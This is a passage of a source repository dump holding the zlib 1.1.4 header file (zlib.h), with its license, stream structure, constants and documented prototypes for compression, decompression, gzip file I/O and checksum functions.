698 | Reads the given number of uncompressed bytes from the compressed file.
699 | If the input file was not in gzip format, gzread copies the given number
700 | of bytes into the buffer.
701 | gzread returns the number of uncompressed bytes actually read (0 for
702 | end of file, -1 for error). */
703 |
704 | ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
705 | const voidp buf, unsigned len));
706 | /*
707 | Writes the given number of uncompressed bytes into the compressed file.
708 | gzwrite returns the number of uncompressed bytes actually written
709 | (0 in case of error).
710 | */
711 |
712 | ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
713 | /*
714 | Converts, formats, and writes the args to the compressed file under
715 | control of the format string, as in fprintf. gzprintf returns the number of
716 | uncompressed bytes actually written (0 in case of error).
717 | */
718 |
719 | ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
720 | /*
721 | Writes the given null-terminated string to the compressed file, excluding
722 | the terminating null character.
723 | gzputs returns the number of characters written, or -1 in case of error.
724 | */
725 |
726 | ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
727 | /*
728 | Reads bytes from the compressed file until len-1 characters are read, or
729 | a newline character is read and transferred to buf, or an end-of-file
730 | condition is encountered. The string is then terminated with a null
731 | character.
732 | gzgets returns buf, or Z_NULL in case of error.
733 | */
734 |
735 | ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
736 | /*
737 | Writes c, converted to an unsigned char, into the compressed file.
738 | gzputc returns the value that was written, or -1 in case of error.
739 | */
740 |
741 | ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
742 | /*
743 | Reads one byte from the compressed file. gzgetc returns this byte
744 | or -1 in case of end of file or error.
745 | */
746 |
747 | ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
748 | /*
749 | Flushes all pending output into the compressed file. The parameter
750 | flush is as in the deflate() function. The return value is the zlib
751 | error number (see function gzerror below). gzflush returns Z_OK if
752 | the flush parameter is Z_FINISH and all output could be flushed.
753 | gzflush should be called only when strictly necessary because it can
754 | degrade compression.
755 | */
756 |
757 | ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
758 | z_off_t offset, int whence));
759 | /*
760 | Sets the starting position for the next gzread or gzwrite on the
761 | given compressed file. The offset represents a number of bytes in the
762 | uncompressed data stream. The whence parameter is defined as in lseek(2);
763 | the value SEEK_END is not supported.
764 | If the file is opened for reading, this function is emulated but can be
765 | extremely slow. If the file is opened for writing, only forward seeks are
766 | supported; gzseek then compresses a sequence of zeroes up to the new
767 | starting position.
768 |
769 | gzseek returns the resulting offset location as measured in bytes from
770 | the beginning of the uncompressed stream, or -1 in case of error, in
771 | particular if the file is opened for writing and the new starting position
772 | would be before the current position.
773 | */
774 |
775 | ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
776 | /*
777 | Rewinds the given file. This function is supported only for reading.
778 |
779 | gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
780 | */
781 |
782 | ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
783 | /*
784 | Returns the starting position for the next gzread or gzwrite on the
785 | given compressed file. This position represents a number of bytes in the
786 | uncompressed data stream.
787 |
788 | gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
789 | */
790 |
791 | ZEXTERN int ZEXPORT gzeof OF((gzFile file));
792 | /*
793 | Returns 1 when EOF has previously been detected reading the given
794 | input stream, otherwise zero.
795 | */
796 |
797 | ZEXTERN int ZEXPORT gzclose OF((gzFile file));
798 | /*
799 | Flushes all pending output if necessary, closes the compressed file
800 | and deallocates all the (de)compression state. The return value is the zlib
801 | error number (see function gzerror below).
802 | */
803 |
804 | ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
805 | /*
806 | Returns the error message for the last error which occurred on the
807 | given compressed file. errnum is set to zlib error number. If an
808 | error occurred in the file system and not in the compression library,
809 | errnum is set to Z_ERRNO and the application may consult errno
810 | to get the exact error code.
811 | */
812 |
813 | /* checksum functions */
814 |
815 | /*
816 | These functions are not related to compression but are exported
817 | anyway because they might be useful in applications using the
818 | compression library.
819 | */
820 |
821 | ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
822 |
823 | /*
824 | Update a running Adler-32 checksum with the bytes buf[0..len-1] and
825 | return the updated checksum. If buf is NULL, this function returns
826 | the required initial value for the checksum.
827 | An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
828 | much faster. Usage example:
829 |
830 | uLong adler = adler32(0L, Z_NULL, 0);
831 |
832 | while (read_buffer(buffer, length) != EOF) {
833 | adler = adler32(adler, buffer, length);
834 | }
835 | if (adler != original_adler) error();
836 | */
837 |
838 | ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
839 | /*
840 | Update a running crc with the bytes buf[0..len-1] and return the updated
841 | crc. If buf is NULL, this function returns the required initial value
842 | for the crc. Pre- and post-conditioning (one's complement) is performed
843 | within this function so it shouldn't be done by the application.
844 | Usage example:
845 |
846 | uLong crc = crc32(0L, Z_NULL, 0);
847 |
848 | while (read_buffer(buffer, length) != EOF) {
849 | crc = crc32(crc, buffer, length);
850 | }
851 | if (crc != original_crc) error();
852 | */
853 |
854 |
855 | /* various hacks, don't look :) */
856 |
857 | /* deflateInit and inflateInit are macros to allow checking the zlib version
858 | * and the compiler's view of z_stream:
859 | */
860 | ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
861 | const char *version, int stream_size));
862 | ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
863 | const char *version, int stream_size));
864 | ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
865 | int windowBits, int memLevel,
866 | int strategy, const char *version,
867 | int stream_size));
868 | ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
869 | const char *version, int stream_size));
870 | #define deflateInit(strm, level) \
871 | deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
872 | #define inflateInit(strm) \
873 | inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
874 | #define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
875 | deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
876 | (strategy), ZLIB_VERSION, sizeof(z_stream))
877 | #define inflateInit2(strm, windowBits) \
878 | inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
879 |
880 |
881 | #if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
882 | struct internal_state {int dummy;}; /* hack for buggy compilers */
883 | #endif
884 |
885 | ZEXTERN const char * ZEXPORT zError OF((int err));
886 | ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
887 | ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
888 |
889 | #ifdef __cplusplus
890 | }
891 | #endif
892 |
893 | #endif /* _ZLIB_H */
894 |
--------------------------------------------------------------------------------
/server/2015Remote/zlib.h:
--------------------------------------------------------------------------------
1 | /* zlib.h -- interface of the 'zlib' general purpose compression library
2 | version 1.1.4, March 11th, 2002
3 |
4 | Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
5 |
6 | This software is provided 'as-is', without any express or implied
7 | warranty. In no event will the authors be held liable for any damages
8 | arising from the use of this software.
9 |
10 | Permission is granted to anyone to use this software for any purpose,
11 | including commercial applications, and to alter it and redistribute it
12 | freely, subject to the following restrictions:
13 |
14 | 1. The origin of this software must not be misrepresented; you must not
15 | claim that you wrote the original software. If you use this software
16 | in a product, an acknowledgment in the product documentation would be
17 | appreciated but is not required.
18 | 2. Altered source versions must be plainly marked as such, and must not be
19 | misrepresented as being the original software.
20 | 3. This notice may not be removed or altered from any source distribution.
21 |
22 | Jean-loup Gailly Mark Adler
23 | jloup@gzip.org madler@alumni.caltech.edu
24 |
25 |
26 | The data format used by the zlib library is described by RFCs (Request for
27 | Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
28 | (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
29 | */
30 |
31 | #ifndef _ZLIB_H
32 | #define _ZLIB_H
33 |
34 | #include "zconf.h"
35 |
36 | #ifdef __cplusplus
37 | extern "C" {
38 | #endif
39 |
40 | #define ZLIB_VERSION "1.1.4"
41 |
42 | /*
43 | The 'zlib' compression library provides in-memory compression and
44 | decompression functions, including integrity checks of the uncompressed
45 | data. This version of the library supports only one compression method
46 | (deflation) but other algorithms will be added later and will have the same
47 | stream interface.
48 |
49 | Compression can be done in a single step if the buffers are large
50 | enough (for example if an input file is mmap'ed), or can be done by
51 | repeated calls of the compression function. In the latter case, the
52 | application must provide more input and/or consume the output
53 | (providing more output space) before each call.
54 |
55 | The library also supports reading and writing files in gzip (.gz) format
56 | with an interface similar to that of stdio.
57 |
58 | The library does not install any signal handler. The decoder checks
59 | the consistency of the compressed data, so the library should never
60 | crash even in case of corrupted input.
61 | */
62 |
63 | typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
64 | typedef void (*free_func) OF((voidpf opaque, voidpf address));
65 |
66 | struct internal_state;
67 |
68 | typedef struct z_stream_s {
69 | Bytef *next_in; /* next input byte */
70 | uInt avail_in; /* number of bytes available at next_in */
71 | uLong total_in; /* total nb of input bytes read so far */
72 |
73 | Bytef *next_out; /* next output byte should be put there */
74 | uInt avail_out; /* remaining free space at next_out */
75 | uLong total_out; /* total nb of bytes output so far */
76 |
77 | char *msg; /* last error message, NULL if no error */
78 | struct internal_state FAR *state; /* not visible by applications */
79 |
80 | alloc_func zalloc; /* used to allocate the internal state */
81 | free_func zfree; /* used to free the internal state */
82 | voidpf opaque; /* private data object passed to zalloc and zfree */
83 |
84 | int data_type; /* best guess about the data type: ascii or binary */
85 | uLong adler; /* adler32 value of the uncompressed data */
86 | uLong reserved; /* reserved for future use */
87 | } z_stream;
88 |
89 | typedef z_stream FAR *z_streamp;
90 |
91 | /*
92 | The application must update next_in and avail_in when avail_in has
93 | dropped to zero. It must update next_out and avail_out when avail_out
94 | has dropped to zero. The application must initialize zalloc, zfree and
95 | opaque before calling the init function. All other fields are set by the
96 | compression library and must not be updated by the application.
97 |
98 | The opaque value provided by the application will be passed as the first
99 | parameter for calls of zalloc and zfree. This can be useful for custom
100 | memory management. The compression library attaches no meaning to the
101 | opaque value.
102 |
103 | zalloc must return Z_NULL if there is not enough memory for the object.
104 | If zlib is used in a multi-threaded application, zalloc and zfree must be
105 | thread safe.
106 |
107 | On 16-bit systems, the functions zalloc and zfree must be able to allocate
108 | exactly 65536 bytes, but will not be required to allocate more than this
109 | if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
110 | pointers returned by zalloc for objects of exactly 65536 bytes *must*
111 | have their offset normalized to zero. The default allocation function
112 | provided by this library ensures this (see zutil.c). To reduce memory
113 | requirements and avoid any allocation of 64K objects, at the expense of
114 | compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
115 |
116 | The fields total_in and total_out can be used for statistics or
117 | progress reports. After compression, total_in holds the total size of
118 | the uncompressed data and may be saved for use in the decompressor
119 | (particularly if the decompressor wants to decompress everything in
120 | a single step).
121 | */
122 |
123 | /* constants */
124 |
125 | #define Z_NO_FLUSH 0
126 | #define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
127 | #define Z_SYNC_FLUSH 2
128 | #define Z_FULL_FLUSH 3
129 | #define Z_FINISH 4
130 | /* Allowed flush values; see deflate() below for details */
131 |
132 | #define Z_OK 0
133 | #define Z_STREAM_END 1
134 | #define Z_NEED_DICT 2
135 | #define Z_ERRNO (-1)
136 | #define Z_STREAM_ERROR (-2)
137 | #define Z_DATA_ERROR (-3)
138 | #define Z_MEM_ERROR (-4)
139 | #define Z_BUF_ERROR (-5)
140 | #define Z_VERSION_ERROR (-6)
141 | /* Return codes for the compression/decompression functions. Negative
142 | * values are errors, positive values are used for special but normal events.
143 | */
144 |
145 | #define Z_NO_COMPRESSION 0
146 | #define Z_BEST_SPEED 1
147 | #define Z_BEST_COMPRESSION 9
148 | #define Z_DEFAULT_COMPRESSION (-1)
149 | /* compression levels */
150 |
151 | #define Z_FILTERED 1
152 | #define Z_HUFFMAN_ONLY 2
153 | #define Z_DEFAULT_STRATEGY 0
154 | /* compression strategy; see deflateInit2() below for details */
155 |
156 | #define Z_BINARY 0
157 | #define Z_ASCII 1
158 | #define Z_UNKNOWN 2
159 | /* Possible values of the data_type field */
160 |
161 | #define Z_DEFLATED 8
162 | /* The deflate compression method (the only one supported in this version) */
163 |
164 | #define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
165 |
166 | #define zlib_version zlibVersion()
167 | /* for compatibility with versions < 1.0.2 */
168 |
169 | /* basic functions */
170 |
171 | ZEXTERN const char * ZEXPORT zlibVersion OF((void));
172 | /* The application can compare zlibVersion and ZLIB_VERSION for consistency.
173 | If the first character differs, the library code actually used is
174 | not compatible with the zlib.h header file used by the application.
175 | This check is automatically made by deflateInit and inflateInit.
176 | */
177 |
178 | /*
179 | ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
180 |
181 | Initializes the internal stream state for compression. The fields
182 | zalloc, zfree and opaque must be initialized before by the caller.
183 | If zalloc and zfree are set to Z_NULL, deflateInit updates them to
184 | use default allocation functions.
185 |
186 | The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
187 | 1 gives best speed, 9 gives best compression, 0 gives no compression at
188 | all (the input data is simply copied a block at a time).
189 | Z_DEFAULT_COMPRESSION requests a default compromise between speed and
190 | compression (currently equivalent to level 6).
191 |
192 | deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
193 | enough memory, Z_STREAM_ERROR if level is not a valid compression level,
194 | Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
195 | with the version assumed by the caller (ZLIB_VERSION).
196 | msg is set to null if there is no error message. deflateInit does not
197 | perform any compression: this will be done by deflate().
198 | */
199 |
200 |
201 | ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
202 | /*
203 | deflate compresses as much data as possible, and stops when the input
204 | buffer becomes empty or the output buffer becomes full. It may introduce some
205 | output latency (reading input without producing any output) except when
206 | forced to flush.
207 |
208 | The detailed semantics are as follows. deflate performs one or both of the
209 | following actions:
210 |
211 | - Compress more input starting at next_in and update next_in and avail_in
212 | accordingly. If not all input can be processed (because there is not
213 | enough room in the output buffer), next_in and avail_in are updated and
214 | processing will resume at this point for the next call of deflate().
215 |
216 | - Provide more output starting at next_out and update next_out and avail_out
217 | accordingly. This action is forced if the parameter flush is non zero.
218 | Forcing flush frequently degrades the compression ratio, so this parameter
219 | should be set only when necessary (in interactive applications).
220 | Some output may be provided even if flush is not set.
221 |
222 | Before the call of deflate(), the application should ensure that at least
223 | one of the actions is possible, by providing more input and/or consuming
224 | more output, and updating avail_in or avail_out accordingly; avail_out
225 | should never be zero before the call. The application can consume the
226 | compressed output when it wants, for example when the output buffer is full
227 | (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
228 | and with zero avail_out, it must be called again after making room in the
229 | output buffer because there might be more output pending.
230 |
231 | If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
232 | flushed to the output buffer and the output is aligned on a byte boundary, so
233 | that the decompressor can get all input data available so far. (In particular
234 | avail_in is zero after the call if enough output space has been provided
235 | before the call.) Flushing may degrade compression for some compression
236 | algorithms and so it should be used only when necessary.
237 |
238 | If flush is set to Z_FULL_FLUSH, all output is flushed as with
239 | Z_SYNC_FLUSH, and the compression state is reset so that decompression can
240 | restart from this point if previous compressed data has been damaged or if
241 | random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
242 | the compression.
243 |
244 | If deflate returns with avail_out == 0, this function must be called again
245 | with the same value of the flush parameter and more output space (updated
246 | avail_out), until the flush is complete (deflate returns with non-zero
247 | avail_out).
248 |
249 | If the parameter flush is set to Z_FINISH, pending input is processed,
250 | pending output is flushed and deflate returns with Z_STREAM_END if there
251 | was enough output space; if deflate returns with Z_OK, this function must be
252 | called again with Z_FINISH and more output space (updated avail_out) but no
253 | more input data, until it returns with Z_STREAM_END or an error. After
254 | deflate has returned Z_STREAM_END, the only possible operations on the
255 | stream are deflateReset or deflateEnd.
256 |
257 | Z_FINISH can be used immediately after deflateInit if all the compression
258 | is to be done in a single step. In this case, avail_out must be at least
259 | 0.1% larger than avail_in plus 12 bytes. If deflate does not return
260 | Z_STREAM_END, then it must be called again as described above.
261 |
262 | deflate() sets strm->adler to the adler32 checksum of all input read
263 | so far (that is, total_in bytes).
264 |
265 | deflate() may update data_type if it can make a good guess about
266 | the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
267 | binary. This field is only for information purposes and does not affect
268 | the compression algorithm in any manner.
269 |
270 | deflate() returns Z_OK if some progress has been made (more input
271 | processed or more output produced), Z_STREAM_END if all input has been
272 | consumed and all output has been produced (only when flush is set to
273 | Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
274 | if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
275 | (for example avail_in or avail_out was zero).
276 | */
277 |
278 |
279 | ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
280 | /*
281 | All dynamically allocated data structures for this stream are freed.
282 | This function discards any unprocessed input and does not flush any
283 | pending output.
284 |
285 | deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
286 | stream state was inconsistent, Z_DATA_ERROR if the stream was freed
287 | prematurely (some input or output was discarded). In the error case,
288 | msg may be set but then points to a static string (which must not be
289 | deallocated).
290 | */
291 |
292 |
293 | /*
294 | ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
295 |
296 | Initializes the internal stream state for decompression. The fields
297 | next_in, avail_in, zalloc, zfree and opaque must be initialized before by
298 | the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
299 | value depends on the compression method), inflateInit determines the
300 | compression method from the zlib header and allocates all data structures
301 | accordingly; otherwise the allocation will be deferred to the first call of
302 | inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
303 | use default allocation functions.
304 |
305 | inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
306 | memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
307 | version assumed by the caller. msg is set to null if there is no error
308 | message. inflateInit does not perform any decompression apart from reading
309 | the zlib header if present: this will be done by inflate(). (So next_in and
310 | avail_in may be modified, but next_out and avail_out are unchanged.)
311 | */
312 |
313 |
314 | ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
315 | /*
316 | inflate decompresses as much data as possible, and stops when the input
317 | buffer becomes empty or the output buffer becomes full. It may some
318 | introduce some output latency (reading input without producing any output)
319 | except when forced to flush.
320 |
321 | The detailed semantics are as follows. inflate performs one or both of the
322 | following actions:
323 |
324 | - Decompress more input starting at next_in and update next_in and avail_in
325 | accordingly. If not all input can be processed (because there is not
326 | enough room in the output buffer), next_in is updated and processing
327 | will resume at this point for the next call of inflate().
328 |
329 | - Provide more output starting at next_out and update next_out and avail_out
330 | accordingly. inflate() provides as much output as possible, until there
331 | is no more input data or no more space in the output buffer (see below
332 | about the flush parameter).
333 |
334 | Before the call of inflate(), the application should ensure that at least
335 | one of the actions is possible, by providing more input and/or consuming
336 | more output, and updating the next_* and avail_* values accordingly.
337 | The application can consume the uncompressed output when it wants, for
338 | example when the output buffer is full (avail_out == 0), or after each
339 | call of inflate(). If inflate returns Z_OK and with zero avail_out, it
340 | must be called again after making room in the output buffer because there
341 | might be more output pending.
342 |
343 | If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
344 | output as possible to the output buffer. The flushing behavior of inflate is
345 | not specified for values of the flush parameter other than Z_SYNC_FLUSH
346 | and Z_FINISH, but the current implementation actually flushes as much output
347 | as possible anyway.
348 |
349 | inflate() should normally be called until it returns Z_STREAM_END or an
350 | error. However if all decompression is to be performed in a single step
351 | (a single call of inflate), the parameter flush should be set to
352 | Z_FINISH. In this case all pending input is processed and all pending
353 | output is flushed; avail_out must be large enough to hold all the
354 | uncompressed data. (The size of the uncompressed data may have been saved
355 | by the compressor for this purpose.) The next operation on this stream must
356 | be inflateEnd to deallocate the decompression state. The use of Z_FINISH
357 | is never required, but can be used to inform inflate that a faster routine
358 | may be used for the single inflate() call.
359 |
360 | If a preset dictionary is needed at this point (see inflateSetDictionary
361 | below), inflate sets strm-adler to the adler32 checksum of the
362 | dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
363 | it sets strm->adler to the adler32 checksum of all output produced
364 | so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
365 | an error code as described below. At the end of the stream, inflate()
366 | checks that its computed adler32 checksum is equal to that saved by the
367 | compressor and returns Z_STREAM_END only if the checksum is correct.
368 |
369 | inflate() returns Z_OK if some progress has been made (more input processed
370 | or more output produced), Z_STREAM_END if the end of the compressed data has
371 | been reached and all uncompressed output has been produced, Z_NEED_DICT if a
372 | preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
373 | corrupted (input stream not conforming to the zlib format or incorrect
374 | adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
375 | (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
376 | enough memory, Z_BUF_ERROR if no progress is possible or if there was not
377 | enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
378 | case, the application may then call inflateSync to look for a good
379 | compression block.
380 | */
381 |
382 |
383 | ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
384 | /*
385 | All dynamically allocated data structures for this stream are freed.
386 | This function discards any unprocessed input and does not flush any
387 | pending output.
388 |
389 | inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
390 | was inconsistent. In the error case, msg may be set but then points to a
391 | static string (which must not be deallocated).
392 | */
393 |
394 | /* Advanced functions */
395 |
396 | /*
397 | The following functions are needed only in some special applications.
398 | */
399 |
400 | /*
401 | ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
402 | int level,
403 | int method,
404 | int windowBits,
405 | int memLevel,
406 | int strategy));
407 |
408 | This is another version of deflateInit with more compression options. The
409 | fields next_in, zalloc, zfree and opaque must be initialized before by
410 | the caller.
411 |
412 | The method parameter is the compression method. It must be Z_DEFLATED in
413 | this version of the library.
414 |
415 | The windowBits parameter is the base two logarithm of the window size
416 | (the size of the history buffer). It should be in the range 8..15 for this
417 | version of the library. Larger values of this parameter result in better
418 | compression at the expense of memory usage. The default value is 15 if
419 | deflateInit is used instead.
420 |
421 | The memLevel parameter specifies how much memory should be allocated
422 | for the internal compression state. memLevel=1 uses minimum memory but
423 | is slow and reduces compression ratio; memLevel=9 uses maximum memory
424 | for optimal speed. The default value is 8. See zconf.h for total memory
425 | usage as a function of windowBits and memLevel.
426 |
427 | The strategy parameter is used to tune the compression algorithm. Use the
428 | value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
429 | filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
430 | string match). Filtered data consists mostly of small values with a
431 | somewhat random distribution. In this case, the compression algorithm is
432 | tuned to compress them better. The effect of Z_FILTERED is to force more
433 | Huffman coding and less string matching; it is somewhat intermediate
434 | between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
435 | the compression ratio but not the correctness of the compressed output even
436 | if it is not set appropriately.
437 |
438 | deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
439 | memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
440 | method). msg is set to null if there is no error message. deflateInit2 does
441 | not perform any compression: this will be done by deflate().
442 | */
443 |
444 | ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
445 | const Bytef *dictionary,
446 | uInt dictLength));
447 | /*
448 | Initializes the compression dictionary from the given byte sequence
449 | without producing any compressed output. This function must be called
450 | immediately after deflateInit, deflateInit2 or deflateReset, before any
451 | call of deflate. The compressor and decompressor must use exactly the same
452 | dictionary (see inflateSetDictionary).
453 |
454 | The dictionary should consist of strings (byte sequences) that are likely
455 | to be encountered later in the data to be compressed, with the most commonly
456 | used strings preferably put towards the end of the dictionary. Using a
457 | dictionary is most useful when the data to be compressed is short and can be
458 | predicted with good accuracy; the data can then be compressed better than
459 | with the default empty dictionary.
460 |
461 | Depending on the size of the compression data structures selected by
462 | deflateInit or deflateInit2, a part of the dictionary may in effect be
463 | discarded, for example if the dictionary is larger than the window size in
464 | deflate or deflate2. Thus the strings most likely to be useful should be
465 | put at the end of the dictionary, not at the front.
466 |
467 | Upon return of this function, strm->adler is set to the Adler32 value
468 | of the dictionary; the decompressor may later use this value to determine
469 | which dictionary has been used by the compressor. (The Adler32 value
470 | applies to the whole dictionary even if only a subset of the dictionary is
471 | actually used by the compressor.)
472 |
473 | deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
474 | parameter is invalid (such as NULL dictionary) or the stream state is
475 | inconsistent (for example if deflate has already been called for this stream
476 | or if the compression method is bsort). deflateSetDictionary does not
477 | perform any compression: this will be done by deflate().
478 | */
479 |
480 | ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
481 | z_streamp source));
482 | /*
483 | Sets the destination stream as a complete copy of the source stream.
484 |
485 | This function can be useful when several compression strategies will be
486 | tried, for example when there are several ways of pre-processing the input
487 | data with a filter. The streams that will be discarded should then be freed
488 | by calling deflateEnd. Note that deflateCopy duplicates the internal
489 | compression state which can be quite large, so this strategy is slow and
490 | can consume lots of memory.
491 |
492 | deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
493 | enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
494 | (such as zalloc being NULL). msg is left unchanged in both source and
495 | destination.
496 | */
497 |
498 | ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
499 | /*
500 | This function is equivalent to deflateEnd followed by deflateInit,
501 | but does not free and reallocate all the internal compression state.
502 | The stream will keep the same compression level and any other attributes
503 | that may have been set by deflateInit2.
504 |
505 | deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
506 | stream state was inconsistent (such as zalloc or state being NULL).
507 | */
508 |
509 | ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
510 | int level,
511 | int strategy));
512 | /*
513 | Dynamically update the compression level and compression strategy. The
514 | interpretation of level and strategy is as in deflateInit2. This can be
515 | used to switch between compression and straight copy of the input data, or
516 | to switch to a different kind of input data requiring a different
517 | strategy. If the compression level is changed, the input available so far
518 | is compressed with the old level (and may be flushed); the new level will
519 | take effect only at the next call of deflate().
520 |
521 | Before the call of deflateParams, the stream state must be set as for
522 | a call of deflate(), since the currently available input may have to
523 | be compressed and flushed. In particular, strm->avail_out must be non-zero.
524 |
525 | deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
526 | stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
527 | if strm->avail_out was zero.
528 | */
529 |
530 | /*
531 | ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
532 | int windowBits));
533 |
534 | This is another version of inflateInit with an extra parameter. The
535 | fields next_in, avail_in, zalloc, zfree and opaque must be initialized
536 | before by the caller.
537 |
538 | The windowBits parameter is the base two logarithm of the maximum window
539 | size (the size of the history buffer). It should be in the range 8..15 for
540 | this version of the library. The default value is 15 if inflateInit is used
541 | instead. If a compressed stream with a larger window size is given as
542 | input, inflate() will return with the error code Z_DATA_ERROR instead of
543 | trying to allocate a larger window.
544 |
545 | inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
546 | memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
547 | memLevel). msg is set to null if there is no error message. inflateInit2
548 | does not perform any decompression apart from reading the zlib header if
549 | present: this will be done by inflate(). (So next_in and avail_in may be
550 | modified, but next_out and avail_out are unchanged.)
551 | */
552 |
553 | ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
554 | const Bytef *dictionary,
555 | uInt dictLength));
556 | /*
557 | Initializes the decompression dictionary from the given uncompressed byte
558 | sequence. This function must be called immediately after a call of inflate
559 | if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
560 | can be determined from the Adler32 value returned by this call of
561 | inflate. The compressor and decompressor must use exactly the same
562 | dictionary (see deflateSetDictionary).
563 |
564 | inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
565 | parameter is invalid (such as NULL dictionary) or the stream state is
566 | inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
567 | expected one (incorrect Adler32 value). inflateSetDictionary does not
568 | perform any decompression: this will be done by subsequent calls of
569 | inflate().
570 | */
571 |
572 | ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
573 | /*
574 | Skips invalid compressed data until a full flush point (see above the
575 | description of deflate with Z_FULL_FLUSH) can be found, or until all
576 | available input is skipped. No output is provided.
577 |
578 | inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
579 | if no more input was provided, Z_DATA_ERROR if no flush point has been found,
580 | or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
581 | case, the application may save the current current value of total_in which
582 | indicates where valid compressed data was found. In the error case, the
583 | application may repeatedly call inflateSync, providing more input each time,
584 | until success or end of the input data.
585 | */
586 |
587 | ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
588 | /*
589 | This function is equivalent to inflateEnd followed by inflateInit,
590 | but does not free and reallocate all the internal decompression state.
591 | The stream will keep attributes that may have been set by inflateInit2.
592 |
593 | inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
594 | stream state was inconsistent (such as zalloc or state being NULL).
595 | */
596 |
597 |
598 | /* utility functions */
599 |
600 | /*
601 | The following utility functions are implemented on top of the
602 | basic stream-oriented functions. To simplify the interface, some
603 | default options are assumed (compression level and memory usage,
604 | standard memory allocation functions). The source code of these
605 | utility functions can easily be modified if you need special options.
606 | */
607 |
